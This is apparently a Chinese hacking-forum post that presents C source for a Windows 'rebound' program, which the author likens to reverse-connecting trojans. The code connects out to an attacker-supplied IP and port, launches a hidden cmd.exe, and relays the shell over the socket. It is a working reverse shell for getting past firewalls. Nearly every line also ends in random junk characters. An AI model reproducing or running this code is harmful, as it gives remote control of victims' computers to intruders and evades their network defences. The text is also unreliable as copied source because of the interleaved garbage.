这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oR5hMu;j+
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/* ============================== C<r7d [
Rebound port in Windows NT @ z#;O2
By wind,2006/7 @SDsd^N{2P
===============================*/ El Z'/l*\
#include /v:g' #n
#include r7c(/P^$G
}+nC}A"BC
#pragma comment(lib,"wsock32.lib") NO P~?p
pB|L%#.cW
void OutputShell(); w8wF;:>
SOCKET sClient; =<_xUh.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3Ku!;uo!u
] ^tor
void main(int argc,char **argv) G`ZpFg0Y
{ ve.iyr
WSADATA stWsaData; 8U/q3@EC
int nRet; ^*`{W4e]
SOCKADDR_IN stSaiClient,stSaiServer; bEV
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if(argc != 3) pL]C]HGv
{ miCt)Qd
printf("Useage:\n\rRebound DestIP DestPort\n"); k
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return; 0AY23/
} ;j-@
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WSAStartup(MAKEWORD(2,2),&stWsaData); T [N:X0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +h pXMO%?
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stSaiClient.sin_family = AF_INET; i5?)E7-
stSaiClient.sin_port = htons(0); }pbyC
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @b=tjQO_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (?J6vK}S
{ Cc0`Y lx~(
printf("Bind Socket Failed!\n"); <&n3"
return; U
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} K$\az%NE
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stSaiServer.sin_family = AF_INET; ;9q3FuR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5~<>h~yJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )-Zpr1kD
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N;>>HN[bBP
{ fGcAkEstT!
printf("Connect Error!"); d@b 0z$<s
return; rFM`ne<zh
} Cnd*%C PZ
OutputShell(); Z@nM\/vLA
} V2ypmkn8&
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void OutputShell() >@[`,
{ qBpv[m
char szBuff[1024]; GD}3r:wDs
SECURITY_ATTRIBUTES stSecurityAttributes; i)1E[jc{p!
OSVERSIONINFO stOsversionInfo; Un]`Gd]:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kWF4k
STARTUPINFO stStartupInfo; f62z9)`^
char *szShell; mq[(yR
PROCESS_INFORMATION stProcessInformation; yc+#LZ~(a
unsigned long lBytesRead; VBF3N5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !w[<?+%%n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _c['_HC
stSecurityAttributes.lpSecurityDescriptor = 0; qRJg/~_h{
stSecurityAttributes.bInheritHandle = TRUE; "z69jxXo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {DI_i +2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f?dNTfQ3mi
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'AF2:T\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #~Lh#@h
stStartupInfo.wShowWindow = SW_HIDE; 25l6@7q.
stStartupInfo.hStdInput = hReadPipe; +>.plvZhu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fNFdZ[qOd
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GetVersionEx(&stOsversionInfo); ?Gp~i]
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switch(stOsversionInfo.dwPlatformId) ldM [8
{ Oe'Nn250
case 1: w^ui%9
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szShell = "command.com"; 0Q;T
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break; 5hB&]6n
default: ~B:Lai4"
szShell = "cmd.exe"; DvG. G+mo#
break; req=w;E:
} ?f1%)]>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j^1T3 +
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send(sClient,szMsg,77,0); Ve2z= 6(
while(1) $9y]>R
{ k1L GT&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %{yr#F=t#]
if(lBytesRead) nqBZp N^
{ u%V=Ze
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -]Z!_[MlDF
send(sClient,szBuff,lBytesRead,0); KA`1IW;
} dY~3YD[
else ba%[!
{ L:`|lc=^
lBytesRead=recv(sClient,szBuff,1024,0); 6[69|&
if(lBytesRead<=0) break; 394u']M
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z"lL=0rY/
} \C
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} ?fXg_?+{'g
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return; Jb6rEV>
}